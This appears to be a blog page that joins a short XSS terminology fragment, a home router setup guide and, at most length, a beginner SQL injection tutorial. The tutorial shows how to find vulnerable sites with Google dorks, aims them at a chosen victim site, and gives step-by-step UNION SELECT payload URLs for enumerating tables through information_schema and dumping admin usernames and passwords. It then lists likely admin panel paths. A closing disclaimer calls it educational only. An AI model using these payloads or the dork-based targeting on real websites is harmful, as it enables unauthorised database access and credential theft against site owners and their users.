It should be noted that there is overlap in the terminology currently used to describe XSS: a DOM-based XSS attack is also either persistent or reflected at the same time; it’s not a separate type of attack. There is no widely accepted terminology that covers all types of XSS without overlap. Regardless of the terminology used to describe XSS, however, the most important thing to identify about any given attack is where the malicious input comes from and where the vulnerability is located.

Aside Posted on

  1. Choose a convenient location to begin installing your router such as an open floor space or table. This does not need to be the permanent location of the device. Particularly for wireless routers, you may find it necessary to re-position the unit after installing it as the cables / signals may not reach all areas needed. At the beginning, its better to choose a location where it’s easiest to work with the router and worry about final placement later.
  2. Plug in the router’s electrical power source, thenturn on the router by pushing the power button.
  3. (Optional) Connect your Internet modem to the router. Most network modems connect via anEthernet cable but USB connections are becoming increasingly common. The cable plugs into the router jack named “WAN” or “uplink” or “Internet.” After connecting the cable, be sure to power cycle (turn off and turn back on) the modem to ensure the router recognizes it.
  4. Connect one computer to the router. Even if the router is a wireless model, connect this first computer to the router via a network cable. Using a cable during router installation ensures the maximum reliability of the equipment. Once a wireless router installation is complete, the computer can be changed over to a wireless connection if desired.
  5. Open the router’s administration tool. From the computer connected to the router, first open your Web browser. Then enter the router’s address for network administration in the Web address field and hit return to reach the router’s home page.

    Many routers are reached by either the Web address “http://192.168.1.1&#8221; or “http://192.168.0.1&#8221; Consult your router’s documentation to determine the exact address for your model. Note that you do not need a working Internet connection for this step.

  6. Log in to the router. The router’s home page will ask you for a username and password. Both are provided in the router’s documentation. You should change the router’s password for security reasons, but do this after the installation is complete to avoid unnecessary complications during the basic setup.
  7. If you want your router to connect to the Internet, you must enter Internet connection informationinto that section of the router’s configuration (exact location varies). If using DSL Internet, you may need to enter the PPPoE username and password. Likewise, if you have been issued a static IP addressby your provider (you would need to have requested it), the static IP fields (including network mask and gateway) given to you by the provider must also must be set in the router.
  8. If you were using a primary computer or an older network router to connect to the Internet, your provider may require you to update the MAC address of the router with the MAC address of the device you were using previously. Read How to Change a MAC Address for a detailed description of this process.
  9. If this is a wireless router, change the network name (often called SSID). While the router comes to you with a network name set at the factory, you will never want to use this name on your network. Read How to Change the Router SSID for detailed instructions.
  10. Verify the network connection is working between your one computer and the router. To do this, you must confirmed that the computer has received IP address information from the router. See How to Find IP Addresses for a description of this process.
  11. (If applicable) Verify your one computer can connect to the Internet properly. Open your Web browser and visit a few Internet sites such as http://compnetworking.about.com/.
  12. Connect additional computers to the router as needed. If connecting wirelessly, ensure the network name (SSID) of each is computer matches that of the router.
  13. Finally, configure additional network security features as desired to guard your systems against Internet attackers. These WiFi Home Network Security Tips offer a good checklist to follow.

Tips:

  1. When connecting devices with network cables, be sure each end of the cable connects tightly. Loose cables are one of the most common sources of network setup problems.

What You Need

  • A network router (wireless or wired)
  • Network adapters installed on all devices to be connected to the router
  • A working Internet modem (optional)
  • A Web browser installed at least one computer in the network

SQL injection

Posted on Updated on

What is SQL Injection?
SQL injection is one of the popular web application hacking method.  Using the SQL Injection attack, an unauthorized person can access the database of the website. Attacker can extract the data from the Database.

What a hacker can do with SQL Injection attack?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

So, here we go.

Step 1: Finding Vulnerable Website:
To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as ‘Google dork’.

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork
http://www.ziddu.com/download/13161874/A…t.zip.html

Copy one of the above keyword and paste in the google. Here , we will got lot search result with
We have to visit the websites one by one for checking the vulnerability.

Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

Step 2: Checking the Vulnerability:
Now let us check the vulnerability of the target website. To check the vulnerability , add the single quotes(‘) at the end of the url and hit enter.

For eg:

http://www.victimsite.com/index.php?id=2'

If the page remains in same page or showing that page not found, then it is not vulnerable.

If you got an error message just like this, then it means that the site is vulnerable

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

Step 3: Finding Number of columns:
Great, we have found that the website is vulnerable to SQLi attack.  Our next step is to find the number of columns present in the target database.

For that replace the single quotes(‘) with “order by n” statement.

Change the n from 1,2,3,4,,5,6,…n. Until you get the error like “unknown column “.

For eg:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

If you get the error while trying the “x”th number,then no of column is “x-1”.

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)
http://www.victimsite.com/index.php?id=2 order by 5(noerror)
http://www.victimsite.com/index.php?id=2 order by 6(noerror)
http://www.victimsite.com/index.php?id=2 order by 7(noerror)
http://www.victimsite.com/index.php?id=2 order by 8(error)

 

so now x=8 , The number of column is x-1 i.e, 7.

In case ,if the above method fails to work for you, then try to add the “–” at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Find the Vulnerable columns:
We have successfully discovered the number of columns present in the target database.  Let us find  the vulnerable column by trying the query “union select columns_sequence”.

Change the id value to negative(i mean id=-2).  Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column.

Bingo,  column ‘3’ and ‘7’ are found to be vulnerable.  Let us take the first vulnerable column ‘3’ . We can inject our query in this column.

Step 5: Finding version,database,user
Replace the 3 from the query with “version()”

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
If the Database version is 5 or above. If the version is 4.x, then you have to guess the table names (blind sql injection attack).

Let us find the table name of the database. Replace the 3 with “group_concat(table_name) and add the “from information_schema.tables where table_schema=database()”

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will display the list of table names. Find the table name which is related with the admin or user.

Let us choose the “admin ” table.

Step 7: Finding the Column Name

Now replace the “group_concat(table_name) with the “group_concat(column_name)”

Replace the “from information_schema.tables where table_schema=database()–” with “FROM information_schema.columns WHERE table_name=mysqlchar–

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following one. If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.

It will ask you to enter string that you want to convert to MySQLCHAR().  We want to convert the table name to MySQLChar .  In our case the table name is ‘admin’.

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the “mysqlchar”

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)

The above query will display the list of column.

For example: admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the ” from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)” with the “from table_name”

For eg:

http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

If the above query displays the ‘column is not found’ erro, then try another column name from the list.

If we got luck, then it will display the data stored in the database depending on your column name.  For instance, username and password column will display the login credentials stored in the database.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/

etc.
If you got luck ,you will find the admin page using above urls. or you can some kind of admin finder tools.

 

Warning:
The above post is completely for educational purpose only.  Never attempt to follow the above steps against third-party websites.  If you want to learn SQL injection attack method , then you can learn in safe environment by setup your own lab.

In this article, i just explained how to attack SQL injection vulnerable site in a n00b(newbie) way. If you want to become PenTester, you must know how these attacks works. In my next article, i will explain the SQL Injection depth.